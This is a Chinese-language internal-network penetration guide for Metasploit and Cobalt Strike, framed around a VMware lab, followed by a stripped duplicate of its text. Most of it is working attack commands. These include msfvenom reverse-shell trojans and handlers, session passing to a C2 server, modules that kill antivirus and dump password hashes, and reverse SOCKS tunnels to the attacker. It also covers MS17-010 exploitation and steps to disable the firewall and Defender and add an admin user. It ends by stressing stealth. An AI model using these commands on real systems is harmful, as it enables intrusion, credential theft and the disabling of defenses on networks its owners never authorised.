Metasploit和Cobaltstrike内网域渗透分析(实战总结)
字数 1090 2025-08-15 21:31:30

Metasploit与Cobalt Strike内网域渗透实战指南

一、测试环境搭建

网络拓扑设计

  • 典型环境:Web服务器配置双网卡
    • 一块连接互联网(外网)
    • 一块连接内网(内网机器无法直接连接互联网)
  • VMware模拟环境配置建议:
    • 将Web服务器的上网网卡NAT改为自定义VMnet3
    • 攻击机网卡也设为VMnet3
    • 优点:保持网络连通性,IP固定不变,便于持续渗透

二、Web服务器渗透

初始攻击手段

  1. 常见Web漏洞利用:
    • 弱口令攻击
    • 文件上传漏洞
    • 远程代码执行漏洞
    • CMS特定漏洞利用
  2. 信息收集:
    • 使用nmap扫描:nmap -sS -n -A 目标IP

控制服务器方法

Metasploit方法

  1. 生成木马:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe > shell.exe
    
  2. 设置监听:
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 攻击机IP
    set lport 4444
    exploit
    
  3. 后续操作:
    • 提权
    • 开启远程桌面:run post/windows/manage/enable_rdp

Cobalt Strike方法

  1. 启动CS服务器端和客户端
  2. 配置监听器
  3. 生成后门并上传执行
  4. 提权操作
  5. 调整心跳时间(默认60秒,可设为1秒)

MSF与CS会话互通

MSF派生给CS

  1. 在CS创建监听器
  2. MSF操作:
    use exploit/windows/local/payload_inject
    set payload windows/meterpreter/reverse_http
    set lhost CS服务器IP
    set lport 监听端口
    set session 现有会话ID
    set disablepayloadhandler true
    run
    

CS派生给MSF

  1. MSF设置监听:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 攻击机IP
    set lport 5555
    exploit
    
  2. CS操作:
    • 新增监听器
    • 选择"spawn"派生会话

三、内网横向移动

信息收集技术

DOS命令收集

ipconfig /all        # 查看本机IP和域信息
route print          # 路由信息
net view             # 局域网主机名
arp -a               # ARP缓存
net start            # 运行服务
net share            # 共享资源
net use              # 建立连接
net user /domain     # 域用户信息
net group /domain    # 域工作组
net time /domain     # 判断主域控制器

MSF模块收集

  1. 常用post模块:

    run post/windows/manage/migrate          # 进程迁移
    run post/windows/gather/checkvm          # 检测虚拟机
    run post/windows/manage/killav           # 关闭杀毒软件
    run post/windows/manage/enable_rdp       # 开启远程桌面
    run post/windows/manage/autoroute        # 查看路由
    run post/windows/gather/enum_logged_on_users  # 当前登录用户
    run post/windows/gather/smart_hashdump  # 导出用户hash
    
  2. 存活主机探测:

    use auxiliary/scanner/discovery/udp_sweep
    use auxiliary/scanner/netbios/nbname
    use auxiliary/scanner/portscan/tcp
    
  3. 服务扫描:

    use auxiliary/scanner/ftp/ftp_version
    use auxiliary/scanner/ssh/ssh_version
    use auxiliary/scanner/smb/smb_version
    use auxiliary/scanner/mssql/mssql_schemadump
    

CS模块收集

  • 使用portscan命令:
    portscan 192.168.52.0/24 445 arp 200
    
  • 查看结果:View > Targets
  • 密码抓取工具:LaZagne(获取本地存储的各种密码)

代理设置技术

Meterpreter搭建Socks代理

  1. 添加路由:
    run get_local_subnets
    run autoroute -s 内网网段/24
    run autoroute -p
    
  2. 配置proxychains:
    vim /etc/proxychains.conf
    
  3. 测试代理:
    proxychains nmap -p 1-1000 -Pn -sT 目标IP
    

EW工具搭建代理

  1. 攻击机:
    ./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
    
  2. 目标机:
    ew.exe -s rssocks -d 攻击机IP -e 1024
    

CS搭建代理

  1. 添加代理:View > Proxy Pivots
  2. MSF配置:
    setg Proxies socks4/5:CS服务器IP:端口
    setg ReverseAllowProxy true
    

域成员和域控渗透

MSF利用

  1. SMB漏洞利用:
    use auxiliary/admin/smb/ms17_010_command
    set rhosts 目标IP
    set command "添加用户命令"
    run
    
  2. 获取shell:
    use exploit/windows/smb/ms17_010_psexec
    set payload windows/meterpreter/bind_tcp
    set rhosts 目标IP
    set lport 端口
    run
    

CS利用

  1. 凭据传递:
    • 使用psexec传递登录
    • 使用psexec_psh模块
  2. 代理功能:
    • 利用CS内置代理功能进行内网穿透

四、高级技巧

端口转发

meterpreter > portfwd add -l 本地端口 -r 目标IP -p 目标端口

内网穿透

  1. 生成内网专用木马
  2. 使用lcx工具进行端口转发
  3. 通过已控跳板机的双网卡特性建立通道

五、防御规避

  1. 关闭防火墙:
    netsh advfirewall set allprofiles state off
    
  2. 关闭Windows Defender:
    net stop windefend
    
  3. 添加用户:
    net user 用户名 密码 /add
    net localgroup administrators 用户名 /add
    

六、后续研究方向

  1. 票据伪造:
    • 黄金票据
    • 白银票据
  2. 权限维持技术
  3. 更隐蔽的横向移动方法

本指南详细介绍了从外网渗透到内网横向移动的全过程,重点涵盖了Metasploit和Cobalt Strike两大工具的高级用法。实际渗透测试中,应根据目标环境灵活组合这些技术,并注意操作的隐蔽性。

Metasploit与Cobalt Strike内网域渗透实战指南 一、测试环境搭建 网络拓扑设计 典型环境:Web服务器配置双网卡 一块连接互联网(外网) 一块连接内网(内网机器无法直接连接互联网) VMware模拟环境配置建议: 将Web服务器的上网网卡NAT改为自定义VMnet3 攻击机网卡也设为VMnet3 优点:保持网络连通性,IP固定不变,便于持续渗透 二、Web服务器渗透 初始攻击手段 常见Web漏洞利用: 弱口令攻击 文件上传漏洞 远程代码执行漏洞 CMS特定漏洞利用 信息收集: 使用nmap扫描: nmap -sS -n -A 目标IP 控制服务器方法 Metasploit方法 生成木马: 设置监听: 后续操作: 提权 开启远程桌面: run post/windows/manage/enable_rdp Cobalt Strike方法 启动CS服务器端和客户端 配置监听器 生成后门并上传执行 提权操作 调整心跳时间(默认60秒,可设为1秒) MSF与CS会话互通 MSF派生给CS 在CS创建监听器 MSF操作: CS派生给MSF MSF设置监听: CS操作: 新增监听器 选择"spawn"派生会话 三、内网横向移动 信息收集技术 DOS命令收集 MSF模块收集 常用post模块: 存活主机探测: 服务扫描: CS模块收集 使用portscan命令: 查看结果:View > Targets 密码抓取工具:LaZagne(获取本地存储的各种密码) 代理设置技术 Meterpreter搭建Socks代理 添加路由: 配置proxychains: 测试代理: EW工具搭建代理 攻击机: 目标机: CS搭建代理 添加代理:View > Proxy Pivots MSF配置: 域成员和域控渗透 MSF利用 SMB漏洞利用: 获取shell: CS利用 凭据传递: 使用psexec传递登录 使用psexec_ psh模块 代理功能: 利用CS内置代理功能进行内网穿透 四、高级技巧 端口转发 内网穿透 生成内网专用木马 使用lcx工具进行端口转发 通过已控跳板机的双网卡特性建立通道 五、防御规避 关闭防火墙: 关闭Windows Defender: 添加用户: 六、后续研究方向 票据伪造: 黄金票据 白银票据 权限维持技术 更隐蔽的横向移动方法 本指南详细介绍了从外网渗透到内网横向移动的全过程,重点涵盖了Metasploit和Cobalt Strike两大工具的高级用法。实际渗透测试中,应根据目标环境灵活组合这些技术,并注意操作的隐蔽性。